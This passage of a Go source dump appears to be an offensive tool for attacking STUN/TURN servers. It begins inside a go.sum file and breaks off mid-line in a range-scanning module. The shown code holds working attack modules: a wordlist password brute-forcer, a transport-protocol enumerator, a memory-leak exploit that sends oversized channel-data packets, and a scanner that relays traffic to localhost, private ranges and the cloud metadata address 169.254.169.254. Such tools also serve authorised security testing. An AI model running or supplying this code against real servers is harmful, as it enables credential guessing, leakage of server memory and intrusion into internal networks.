h1:gHuf0zpoh1GW67Nr6Gj4cv5Z9ZscU7g/EaoC/Ke/igI= 12 | github.com/pion/logging v0.2.3/go.mod h1:z8YfknkquMe1csOrxK5kc+5/ZPAzMxbKLX5aXpbpC90= 13 | github.com/pion/transport/v2 v2.2.4/go.mod h1:q2U/tf9FEfnSBGSW6w5Qp5PFWRLRj3NjLhCCgpRK4p0= 14 | github.com/pion/transport/v2 v2.2.10 h1:ucLBLE8nuxiHfvkFKnkDQRYWYfp8ejf4YBOPfaQpw6Q= 15 | github.com/pion/transport/v2 v2.2.10/go.mod h1:sq1kSLWs+cHW9E+2fJP95QudkzbK7wscs8yYgQToO5E= 16 | github.com/pion/transport/v3 v3.0.5 h1:ofVrcbPNqVPuKaTO5AMFnFuJ1ZX7ElYiWzC5PCf9YVQ= 17 | github.com/pion/transport/v3 v3.0.5/go.mod h1:HvJr2N/JwNJAfipsRleqwFoR3t/pWyHeZUs89v3+t5s= 18 | github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= 19 | github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= 20 | github.com/russross/blackfriday/v2 v2.1.0 h1:JIOH55/0cWyOuilr9/qlrm0BSXldqnqwMsf35Ld67mk= 21 | github.com/russross/blackfriday/v2 v2.1.0/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM= 22 | github.com/sirupsen/logrus v1.9.3 h1:dueUQJ1C2q9oE3F7wvmSGAaVtTmUizReu6fjN8uqzbQ= 23 | github.com/sirupsen/logrus v1.9.3/go.mod h1:naHLuLoDiP4jHNo9R0sCBMtWGeIprob74mVsIT4qYEQ= 24 | github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= 25 | github.com/stretchr/objx v0.4.0/go.mod h1:YvHI0jy2hoMjB+UWwv71VJQ9isScKT/TqJzVSSt89Yw= 26 | github.com/stretchr/objx v0.5.0/go.mod h1:Yh+to48EsGEfYuaHDzXPcE3xhTkx73EhmCGUpEOglKo= 27 | github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= 28 | github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= 29 | github.com/stretchr/testify v1.8.0/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU= 30 | github.com/stretchr/testify v1.8.4/go.mod h1:sz/lmYIOXD/1dqDmKjjqLyZ2RngseejIcXlSw2iwfAo= 31 | github.com/stretchr/testify v1.9.0 h1:HtqpIVDClZ4nwg75+f6Lvsy/wHu+3BoSGCbBAcpTsTg= 32 | github.com/stretchr/testify v1.9.0/go.mod h1:r2ic/lqez/lEtzL7wO/rwa5dbSLXVDPFyf8C91i36aY= 33 | github.com/urfave/cli/v2 v2.27.6 h1:VdRdS98FNhKZ8/Az8B7MTyGQmpIr36O1EHybx/LaZ4g= 34 | github.com/urfave/cli/v2 v2.27.6/go.mod h1:3Sevf16NykTbInEnD0yKkjDAeZDS0A6bzhBH5hrMvTQ= 35 | github.com/wlynxg/anet v0.0.3/go.mod h1:eay5PRQr7fIVAMbTbchTnO9gG65Hg/uYGdc7mguHxoA= 36 | github.com/xrash/smetrics v0.0.0-20240521201337-686a1a2994c1 h1:gEOO8jv9F4OT7lGCjxCBTO/36wtF6j2nSip77qHd4x4= 37 | github.com/xrash/smetrics v0.0.0-20240521201337-686a1a2994c1/go.mod h1:Ohn+xnUBiLI6FVj/9LpzZWtj1/D6lUovWYBkxHVV3aM= 38 | github.com/yuin/goldmark v1.4.13/go.mod h1:6yULJ656Px+3vBD8DxQVa3kxgyrAnzto9xy5taEt/CY= 39 | golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w= 40 | golang.org/x/crypto v0.0.0-20210921155107-089bfa567519/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc= 41 | golang.org/x/crypto v0.12.0/go.mod h1:NF0Gs7EO5K4qLn+Ylc+fih8BSTeIjAP05siRnAh98yw= 42 | golang.org/x/crypto v0.18.0/go.mod h1:R0j02AL6hcrfOiy9T4ZYp/rcWeMxM3L6QYxlOuEG1mg= 43 | golang.org/x/crypto v0.38.0 h1:jt+WWG8IZlBnVbomuhg2Mdq0+BBQaHbtqHEFEigjUV8= 44 | golang.org/x/crypto v0.38.0/go.mod h1:MvrbAqul58NNYPKnOra203SB9vpuZW0e+RRZV+Ggqjw= 45 | golang.org/x/mod v0.6.0-dev.0.20220419223038-86c51ed26bb4/go.mod h1:jJ57K6gSWd91VN4djpZkiMVwK6gcyfeH4XE8wZrZaV4= 46 | golang.org/x/mod v0.8.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs= 47 | golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= 48 | golang.org/x/net v0.0.0-20210226172049-e18ecbb05110/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg= 49 | golang.org/x/net v0.0.0-20220722155237-a158d28d115b/go.mod h1:XRhObCWvk6IyKnWLug+ECip1KBveYUHfp+8e9klMJ9c= 50 | golang.org/x/net v0.6.0/go.mod h1:2Tu9+aMcznHK/AK1HMvgo6xiTLG5rD5rZLDS+rp2Bjs= 51 | golang.org/x/net v0.10.0/go.mod h1:0qNGK6F8kojg2nk9dLZ2mShWaEBan6FAoqfSigmmuDg= 52 | golang.org/x/net v0.14.0/go.mod h1:PpSgVXXLK0OxS0F31C1/tv6XNguvCrnXIDrFMspZIUI= 53 | golang.org/x/net v0.20.0/go.mod h1:z8BVo6PvndSri0LbOE3hAn0apkU+1YvI6E70E9jsnvY= 54 | golang.org/x/net v0.40.0 h1:79Xs7wF06Gbdcg4kdCCIQArK11Z1hr5POQ6+fIYHNuY= 55 | golang.org/x/net v0.40.0/go.mod h1:y0hY0exeL2Pku80/zKK7tpntoX23cqL3Oa6njdgRtds= 56 | golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= 57 | golang.org/x/sync v0.0.0-20220722155255-886fb9371eb4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= 58 | golang.org/x/sync v0.1.0/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= 59 | golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= 60 | golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 61 | golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 62 | golang.org/x/sys v0.0.0-20220520151302-bc2c85ada10a/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 63 | golang.org/x/sys v0.0.0-20220715151400-c0bba94af5f8/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 64 | golang.org/x/sys v0.0.0-20220722155257-8c9f86f7a55f/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 65 | golang.org/x/sys v0.5.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 66 | golang.org/x/sys v0.8.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 67 | golang.org/x/sys v0.11.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 68 | golang.org/x/sys v0.16.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= 69 | golang.org/x/sys v0.33.0 h1:q3i8TbbEz+JRD9ywIRlyRAQbM0qF7hu24q3teo2hbuw= 70 | golang.org/x/sys v0.33.0/go.mod h1:BJP2sWEmIv4KK5OTEluFJCKSidICx8ciO85XgH3Ak8k= 71 | golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo= 72 | golang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8= 73 | golang.org/x/term v0.5.0/go.mod h1:jMB1sMXY+tzblOD4FWmEbocvup2/aLOaQEp7JmGp78k= 74 | golang.org/x/term v0.8.0/go.mod h1:xPskH00ivmX89bAKVGSKKtLOWNx2+17Eiy94tnKShWo= 75 | golang.org/x/term v0.11.0/go.mod h1:zC9APTIj3jG3FdV/Ons+XE1riIZXG4aZ4GTHiPZJPIU= 76 | golang.org/x/term v0.16.0/go.mod h1:yn7UURbUtPyrVJPGPq404EukNFxcm/foM+bV/bfcDsY= 77 | golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= 78 | golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= 79 | golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ= 80 | golang.org/x/text v0.7.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8= 81 | golang.org/x/text v0.9.0/go.mod h1:e1OnstbJyHTd6l/uOt8jFFHp6TRDWZR/bV3emEE/zU8= 82 | golang.org/x/text v0.12.0/go.mod h1:TvPlkZtksWOMsz7fbANvkp4WM8x/WCo/om8BMLbz+aE= 83 | golang.org/x/text v0.14.0/go.mod h1:18ZOQIKpY8NJVqYksKHtTdi31H5itFRjB5/qKTNYzSU= 84 | golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= 85 | golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= 86 | golang.org/x/tools v0.1.12/go.mod h1:hNGJHUnrk76NpqgfD5Aqm5Crs+Hm0VOH/i9J2+nxYbc= 87 | golang.org/x/tools v0.6.0/go.mod h1:Xwgl3UAJ/d3gWutnCtw505GrjyAbvKui8lOU390QaIU= 88 | golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= 89 | gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= 90 | gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= 91 | gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= 92 | gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= 93 | -------------------------------------------------------------------------------- /internal/cmd/bruteforce.go: -------------------------------------------------------------------------------- 1 | package cmd 2 | 3 | import ( 4 | "bufio" 5 | "context" 6 | "fmt" 7 | "os" 8 | "strings" 9 | "time" 10 | 11 | "github.com/firefart/stunner/internal" 12 | "github.com/sirupsen/logrus" 13 | ) 14 | 15 | type BruteforceOpts struct { 16 | TurnServer string 17 | Protocol string 18 | Username string 19 | Passfile string 20 | UseTLS bool 21 | Timeout time.Duration 22 | Log *logrus.Logger 23 | } 24 | 25 | func (opts BruteforceOpts) Validate() error { 26 | if opts.TurnServer == "" { 27 | return fmt.Errorf("need a valid turnserver") 28 | } 29 | if !strings.Contains(opts.TurnServer, ":") { 30 | return fmt.Errorf("turnserver needs a port") 31 | } 32 | if opts.Protocol != "tcp" && opts.Protocol != "udp" { 33 | return fmt.Errorf("protocol needs to be either tcp or udp") 34 | } 35 | if opts.Username == "" { 36 | return fmt.Errorf("please supply a username") 37 | } 38 | if opts.Passfile == "" { 39 | return fmt.Errorf("please supply a password file") 40 | } 41 | if opts.Log == nil { 42 | return fmt.Errorf("please supply a valid logger") 43 | } 44 | return nil 45 | } 46 | 47 | func BruteForce(ctx context.Context, opts BruteforceOpts) error { 48 | if err := opts.Validate(); err != nil { 49 | return err 50 | } 51 | 52 | pfile, err := os.Open(opts.Passfile) 53 | if err != nil { 54 | return fmt.Errorf("could not read password file: %w", err) 55 | } 56 | defer pfile.Close() 57 | 58 | scanner := bufio.NewScanner(pfile) 59 | for scanner.Scan() { 60 | if err := testPassword(ctx, opts, scanner.Text()); err != nil { 61 | return err 62 | } 63 | } 64 | 65 | if err := scanner.Err(); err != nil { 66 | return err 67 | } 68 | return nil 69 | } 70 | 71 | func testPassword(ctx context.Context, opts BruteforceOpts, password string) error { 72 | remote, err := internal.Connect(ctx, opts.Protocol, opts.TurnServer, opts.UseTLS, opts.Timeout) 73 | if err != nil { 74 | return err 75 | } 76 | 77 | addressFamily := internal.AllocateProtocolIgnore 78 | allocateRequest := internal.AllocateRequest(internal.RequestedTransportUDP, addressFamily) 79 | allocateResponse, err := allocateRequest.SendAndReceive(ctx, opts.Log, remote, opts.Timeout) 80 | if err != nil { 81 | return fmt.Errorf("error on sending AllocateRequest: %w", err) 82 | } 83 | if allocateResponse.Header.MessageType.Class != internal.MsgTypeClassError { 84 | return fmt.Errorf("MessageClass is not Error (should be not authenticated)") 85 | } 86 | 87 | realm := string(allocateResponse.GetAttribute(internal.AttrRealm).Value) 88 | nonce := string(allocateResponse.GetAttribute(internal.AttrNonce).Value) 89 | 90 | allocateRequest = internal.AllocateRequestAuth(opts.Username, password, nonce, realm, internal.RequestedTransportUDP, addressFamily) 91 | allocateResponse, err = allocateRequest.SendAndReceive(ctx, opts.Log, remote, opts.Timeout) 92 | if err != nil { 93 | return fmt.Errorf("error on sending AllocateRequest Auth: %w", err) 94 | } 95 | if allocateResponse.Header.MessageType.Class == internal.MsgTypeClassSuccess { 96 | opts.Log.Infof("Found valid credentials: %s:%s", opts.Username, password) 97 | return nil 98 | } 99 | // we got an error 100 | errorCode := allocateResponse.GetAttribute(internal.AttrErrorCode).Value[4:] 101 | if string(errorCode) != "Unauthorized" { 102 | // get all other errors than auth errors 103 | opts.Log.Errorf("Unknown error: %s", string(errorCode)) 104 | } 105 | return nil 106 | } 107 | -------------------------------------------------------------------------------- /internal/cmd/brutetransports.go: -------------------------------------------------------------------------------- 1 | package cmd 2 | 3 | import ( 4 | "context" 5 | "fmt" 6 | "strings" 7 | "time" 8 | 9 | "github.com/firefart/stunner/internal" 10 | "github.com/sirupsen/logrus" 11 | ) 12 | 13 | type BruteTransportOpts struct { 14 | TurnServer string 15 | Protocol string 16 | Username string 17 | Password string 18 | UseTLS bool 19 | Timeout time.Duration 20 | Log *logrus.Logger 21 | } 22 | 23 | func (opts BruteTransportOpts) Validate() error { 24 | if opts.TurnServer == "" { 25 | return fmt.Errorf("need a valid turnserver") 26 | } 27 | if !strings.Contains(opts.TurnServer, ":") { 28 | return fmt.Errorf("turnserver needs a port") 29 | } 30 | if opts.Protocol != "tcp" && opts.Protocol != "udp" { 31 | return fmt.Errorf("protocol needs to be either tcp or udp") 32 | } 33 | if opts.Username == "" { 34 | return fmt.Errorf("please supply a username") 35 | } 36 | if opts.Password == "" { 37 | return fmt.Errorf("please supply a password") 38 | } 39 | if opts.Log == nil { 40 | return fmt.Errorf("please supply a valid logger") 41 | } 42 | 43 | return nil 44 | } 45 | 46 | func BruteTransports(ctx context.Context, opts BruteTransportOpts) error { 47 | if err := opts.Validate(); err != nil { 48 | return err 49 | } 50 | 51 | for i := 0; i <= 255; i++ { 52 | conn, err := internal.Connect(ctx, opts.Protocol, opts.TurnServer, opts.UseTLS, opts.Timeout) 53 | if err != nil { 54 | return err 55 | } 56 | 57 | x := internal.RequestedTransport(uint32(i)) 58 | allocateRequest := internal.AllocateRequest(x, internal.AllocateProtocolIgnore) 59 | allocateResponse, err := allocateRequest.SendAndReceive(ctx, opts.Log, conn, opts.Timeout) 60 | if err != nil { 61 | return fmt.Errorf("error on sending allocate request: %w", err) 62 | } 63 | 64 | realm := string(allocateResponse.GetAttribute(internal.AttrRealm).Value) 65 | nonce := string(allocateResponse.GetAttribute(internal.AttrNonce).Value) 66 | 67 | allocateRequest = internal.AllocateRequestAuth(opts.Username, opts.Password, nonce, realm, x, internal.AllocateProtocolIgnore) 68 | allocateResponse, err = allocateRequest.SendAndReceive(ctx, opts.Log, conn, opts.Timeout) 69 | if err != nil { 70 | return fmt.Errorf("error on sending allocate request auth: %w", err) 71 | } 72 | if allocateResponse.Header.MessageType.Class != internal.MsgTypeClassSuccess { 73 | errorCode := allocateResponse.GetAttribute(internal.AttrErrorCode).Value[4:] 74 | opts.Log.Errorf("%d %s", i, string(errorCode)) 75 | if allocateResponse.Header.MessageType.Class != internal.MsgTypeClassError { 76 | opts.Log.Infof("%d %02x", i, allocateResponse.Header.MessageType) 77 | } 78 | } else { 79 | // valid transport found 80 | switch x { 81 | case internal.RequestedTransportTCP: 82 | opts.Log.Infof("Found supported protocol %d which is TCP and a default protocol", i) 83 | case internal.RequestedTransportUDP: 84 | opts.Log.Infof("Found supported protocol %d which is UDP and a default protocol", i) 85 | default: 86 | opts.Log.Infof("Found non standard protocol %d", i) 87 | } 88 | } 89 | if err := conn.Close(); err != nil { 90 | return fmt.Errorf("error on closing connection: %w", err) 91 | } 92 | } 93 | return nil 94 | } 95 | -------------------------------------------------------------------------------- /internal/cmd/info.go: -------------------------------------------------------------------------------- 1 | package cmd 2 | 3 | import ( 4 | "context" 5 | "fmt" 6 | "strings" 7 | "time" 8 | 9 | "github.com/firefart/stunner/internal" 10 | "github.com/firefart/stunner/internal/helper" 11 | "github.com/sirupsen/logrus" 12 | ) 13 | 14 | type InfoOpts struct { 15 | TurnServer string 16 | UseTLS bool 17 | Protocol string 18 | Timeout time.Duration 19 | Log *logrus.Logger 20 | } 21 | 22 | func (opts InfoOpts) Validate() error { 23 | if opts.TurnServer == "" { 24 | return fmt.Errorf("need a valid turnserver") 25 | } 26 | if !strings.Contains(opts.TurnServer, ":") { 27 | return fmt.Errorf("turnserver needs a port") 28 | } 29 | if opts.Protocol != "tcp" && opts.Protocol != "udp" { 30 | return fmt.Errorf("protocol needs to be either tcp or udp") 31 | } 32 | if opts.Log == nil { 33 | return fmt.Errorf("please supply a valid logger") 34 | } 35 | 36 | return nil 37 | } 38 | 39 | func Info(ctx context.Context, opts InfoOpts) error { 40 | if err := opts.Validate(); err != nil { 41 | return err 42 | } 43 | 44 | if attr, err := testStun(ctx, opts); err != nil { 45 | opts.Log.Debugf("STUN error: %v", err) 46 | opts.Log.Error("this server does not support the STUN protocol") 47 | } else { 48 | opts.Log.Info("this server supports the STUN protocol") 49 | printAttributes(opts, attr) 50 | } 51 | 52 | if attr, err := testTurn(ctx, opts, internal.RequestedTransportUDP); err != nil { 53 | opts.Log.Debugf("TURN UDP error: %v", err) 54 | opts.Log.Error("this server does not support the TURN UDP protocol") 55 | } else { 56 | opts.Log.Info("this server supports the TURN protocol with UDP transports") 57 | printAttributes(opts, attr) 58 | } 59 | 60 | if attr, err := testTurn(ctx, opts, internal.RequestedTransportTCP); err != nil { 61 | opts.Log.Debugf("TURN TCP error: %v", err) 62 | opts.Log.Error("this server does not support the TURN TCP protocol") 63 | } else { 64 | opts.Log.Info("this server supports the TURN protocol with TCP transports") 65 | printAttributes(opts, attr) 66 | } 67 | 68 | return nil 69 | } 70 | 71 | func testStun(ctx context.Context, opts InfoOpts) ([]internal.Attribute, error) { 72 | conn, err := internal.Connect(ctx, opts.Protocol, opts.TurnServer, opts.UseTLS, opts.Timeout) 73 | if err != nil { 74 | return nil, err 75 | } 76 | defer conn.Close() 77 | 78 | bindingRequest := internal.BindingRequest() 79 | bindingResponse, err := bindingRequest.SendAndReceive(ctx, opts.Log, conn, opts.Timeout) 80 | if err != nil { 81 | return nil, fmt.Errorf("error on sending binding request: %w", err) 82 | } 83 | if bindingResponse.Header.MessageType.Class == internal.MsgTypeClassError { 84 | return nil, fmt.Errorf("MessageClass is Error: %v", bindingResponse.GetErrorString()) 85 | } 86 | 87 | return bindingResponse.Attributes, nil 88 | } 89 | 90 | func testTurn(ctx context.Context, opts InfoOpts, proto internal.RequestedTransport) ([]internal.Attribute, error) { 91 | conn, err := internal.Connect(ctx, opts.Protocol, opts.TurnServer, opts.UseTLS, opts.Timeout) 92 | if err != nil { 93 | return nil, err 94 | } 95 | defer conn.Close() 96 | 97 | allocateRequest := internal.AllocateRequest(proto, internal.AllocateProtocolIgnore) 98 | allocateResponse, err := allocateRequest.SendAndReceive(ctx, opts.Log, conn, opts.Timeout) 99 | if err != nil { 100 | return nil, fmt.Errorf("error on sending allocate request: %w", err) 101 | } 102 | if allocateResponse.Header.MessageType.Class != internal.MsgTypeClassError { 103 | return nil, fmt.Errorf("MessageClass is not Error (should be not authenticated)") 104 | } 105 | 106 | return allocateResponse.Attributes, nil 107 | } 108 | 109 | func printAttributes(opts InfoOpts, attr []internal.Attribute) { 110 | if len(attr) == 0 { 111 | return 112 | } 113 | 114 | headerPrinted := false 115 | 116 | for _, a := range attr { 117 | // do not print common protocol related attributes 118 | if a.Type == internal.AttrNonce || a.Type == internal.AttrErrorCode || a.Type == internal.AttrFingerprint || a.Type == internal.AttrXorMappedAddress || a.Type == internal.AttrMappedAddress { 119 | continue 120 | } 121 | 122 | // inside here so we don't print an unnecessary "Attributes:" line 123 | if !headerPrinted { 124 | opts.Log.Info("Attributes:") 125 | headerPrinted = true 126 | } 127 | 128 | value := string(a.Value) 129 | // checks for old RFC5780 but still implemented (for example in coturn) 130 | if a.Type == internal.AttrResponseOrigin || a.Type == internal.AttrOtherAddress { 131 | tmpIP, tmpPort, err := internal.ParseMappedAdress(a.Value) 132 | if err != nil { 133 | opts.Log.Errorf("could not parse mapped address: %02x %v", a.Value, err) 134 | continue 135 | } 136 | value = fmt.Sprintf("%s:%d", tmpIP.String(), tmpPort) 137 | } 138 | 139 | humanName := internal.AttributeTypeString(a.Type) 140 | if humanName == "" { 141 | if helper.IsPrintable(value) { 142 | opts.Log.Warnf("\tNon Standard Attribute %d returned with value %s", uint16(a.Type), value) 143 | } else { 144 | opts.Log.Warnf("\tNon Standard Attribute %d returned with value %02x", uint16(a.Type), a.Value) 145 | } 146 | } else { 147 | opts.Log.Infof("\t%s: %s", humanName, value) 148 | } 149 | } 150 | } 151 | -------------------------------------------------------------------------------- /internal/cmd/memoryleak.go: -------------------------------------------------------------------------------- 1 | package cmd 2 | 3 | import ( 4 | "context" 5 | "fmt" 6 | "net/netip" 7 | "strings" 8 | "time" 9 | 10 | "github.com/firefart/stunner/internal" 11 | "github.com/firefart/stunner/internal/helper" 12 | "github.com/sirupsen/logrus" 13 | ) 14 | 15 | type MemoryleakOpts struct { 16 | TurnServer string 17 | Protocol string 18 | Username string 19 | Password string 20 | UseTLS bool 21 | Timeout time.Duration 22 | Log *logrus.Logger 23 | TargetHost netip.Addr 24 | TargetPort uint16 25 | Size uint16 26 | } 27 | 28 | func (opts MemoryleakOpts) Validate() error { 29 | if opts.TurnServer == "" { 30 | return fmt.Errorf("need a valid turnserver") 31 | } 32 | if !strings.Contains(opts.TurnServer, ":") { 33 | return fmt.Errorf("turnserver needs a port") 34 | } 35 | if opts.Protocol != "tcp" && opts.Protocol != "udp" { 36 | return fmt.Errorf("protocol needs to be either tcp or udp") 37 | } 38 | if opts.Username == "" { 39 | return fmt.Errorf("please supply a username") 40 | } 41 | if opts.Password == "" { 42 | return fmt.Errorf("please supply a password") 43 | } 44 | if opts.Log == nil { 45 | return fmt.Errorf("please supply a valid logger") 46 | } 47 | if !opts.TargetHost.IsValid() { 48 | return fmt.Errorf("please supply a valid target host (must be an ip)") 49 | } 50 | if opts.TargetPort <= 0 { 51 | return fmt.Errorf("please supply a valid target port") 52 | } 53 | if opts.Size <= 0 { 54 | return fmt.Errorf("please supply a valid size") 55 | } 56 | 57 | return nil 58 | } 59 | 60 | func MemoryLeak(ctx context.Context, opts MemoryleakOpts) error { 61 | if err := opts.Validate(); err != nil { 62 | return err 63 | } 64 | 65 | remote, realm, nonce, err := internal.SetupTurnConnection(ctx, opts.Log, opts.Protocol, opts.TurnServer, opts.UseTLS, opts.Timeout, opts.TargetHost, opts.TargetPort, opts.Username, opts.Password) 66 | if err != nil { 67 | return err 68 | } 69 | defer remote.Close() 70 | 71 | channelNumber, err := helper.RandomChannelNumber() 72 | if err != nil { 73 | return fmt.Errorf("error on getting random channel number: %w", err) 74 | } 75 | channelBindRequest, err := internal.ChannelBindRequest(opts.Username, opts.Password, nonce, realm, opts.TargetHost, opts.TargetPort, channelNumber) 76 | if err != nil { 77 | return fmt.Errorf("error on generating ChannelBind request: %w", err) 78 | } 79 | opts.Log.Debugf("ChannelBind Request:\n%s", channelBindRequest.String()) 80 | channelBindResponse, err := channelBindRequest.SendAndReceive(ctx, opts.Log, remote, opts.Timeout) 81 | if err != nil { 82 | return fmt.Errorf("error on sending ChannelBind request: %w", err) 83 | } 84 | opts.Log.Debugf("ChannelBind Response:\n%s", channelBindResponse.String()) 85 | if channelBindResponse.Header.MessageType.Class == internal.MsgTypeClassError { 86 | return fmt.Errorf("error on sending ChannelBind request: %s", channelBindResponse.GetErrorString()) 87 | } 88 | 89 | for i := 0; i < 1000; i++ { 90 | var toSend []byte 91 | toSend = append(toSend, channelNumber...) 92 | toSend = append(toSend, helper.PutUint16(opts.Size)...) 93 | toSend = append(toSend, []byte("xxx")...) 94 | toSend = internal.Padding(toSend) 95 | err := helper.ConnectionWrite(ctx, remote, toSend, opts.Timeout) 96 | if err != nil { 97 | return fmt.Errorf("error on sending data: %w", err) 98 | } 99 | opts.Log.Info(i) 100 | time.Sleep(500 * time.Millisecond) 101 | } 102 | 103 | opts.Log.Info("DONE") 104 | return nil 105 | } 106 | -------------------------------------------------------------------------------- /internal/cmd/rangescan.go: -------------------------------------------------------------------------------- 1 | package cmd 2 | 3 | import ( 4 | "context" 5 | "errors" 6 | "fmt" 7 | "net/netip" 8 | "strings" 9 | "time" 10 | 11 | "github.com/firefart/stunner/internal" 12 | "github.com/firefart/stunner/internal/helper" 13 | "github.com/sirupsen/logrus" 14 | ) 15 | 16 | type RangeScanOpts struct { 17 | TurnServer string 18 | Protocol string 19 | Username string 20 | Password string 21 | UseTLS bool 22 | Timeout time.Duration 23 | Log *logrus.Logger 24 | } 25 | 26 | func (opts RangeScanOpts) Validate() error { 27 | if opts.TurnServer == "" { 28 | return fmt.Errorf("need a valid turnserver") 29 | } 30 | if !strings.Contains(opts.TurnServer, ":") { 31 | return fmt.Errorf("turnserver needs a port") 32 | } 33 | if opts.Protocol != "tcp" && opts.Protocol != "udp" { 34 | return fmt.Errorf("protocol needs to be either tcp or udp") 35 | } 36 | if opts.Username == "" { 37 | return fmt.Errorf("please supply a username") 38 | } 39 | if opts.Password == "" { 40 | return fmt.Errorf("please supply a password") 41 | } 42 | if opts.Log == nil { 43 | return fmt.Errorf("please supply a valid logger") 44 | } 45 | 46 | return nil 47 | } 48 | 49 | func RangeScan(ctx context.Context, opts RangeScanOpts) error { 50 | if err := opts.Validate(); err != nil { 51 | return err 52 | } 53 | 54 | ranges := []string{ 55 | // all 56 | "0.0.0.0", 57 | "::", 58 | // localhosts 59 | "127.0.0.1", 60 | "127.0.0.8", 61 | "127.255.255.254", 62 | "::1", 63 | // private ranges 64 | "10.0.0.1", 65 | "10.255.255.254", 66 | "172.16.0.1", 67 | "172.31.255.254", 68 | "192.168.0.1", 69 | "192.168.255.254", 70 | // Link Local 71 | "169.254.0.1", 72 | "169.254.254.255", 73 | // Multicast 74 | "224.0.0.1", 75 | "239.255.255.254", 76 | // Shared Address Space 77 | "100.64.0.0", 78 | "100.127.255.254", 79 | // ietf 80 | "192.0.0.1", 81 | "192.0.0.254", 82 | // TEST-NET-1 83 | "192.0.2.1", 84 | "192.0.2.254", 85 | // Benchmark 86 | "198.18.0.1", 87 | "198.19.255.254", 88 | // TEST-NET-2 89 | "198.51.100.1", 90 | "198.51.100.254", 91 | // TEST-NET-3 92 | "203.0.113.1", 93 | "203.0.113.254", 94 | // Reserved 95 | "240.0.0.1", 96 | // Broadcast 97 | "255.255.255.255", 98 | // Cloud Metadata Services 99 | "169.254.169.254", 100 | } 101 | 102 | // UDP scanning 103 | for _, ipString := range ranges { 104 | ip, err := netip.ParseAddr(ipString) 105 | if err != nil { 106 | return fmt.Errorf("target is no valid ip address: %w", err) 107 | } 108 | 109 | suc, err := scanUDP(ctx, opts, ip, 80) 110 | if err != nil { 111 | opts.Log.Errorf("UDP %s: %v", ip, err) 112 | } 113 | if suc { 114 | opts.Log.Warnf("UDP %s was successful!", ip) 115 | } 116 | } 117 | 118 | // TCP scanning 119 | for _, 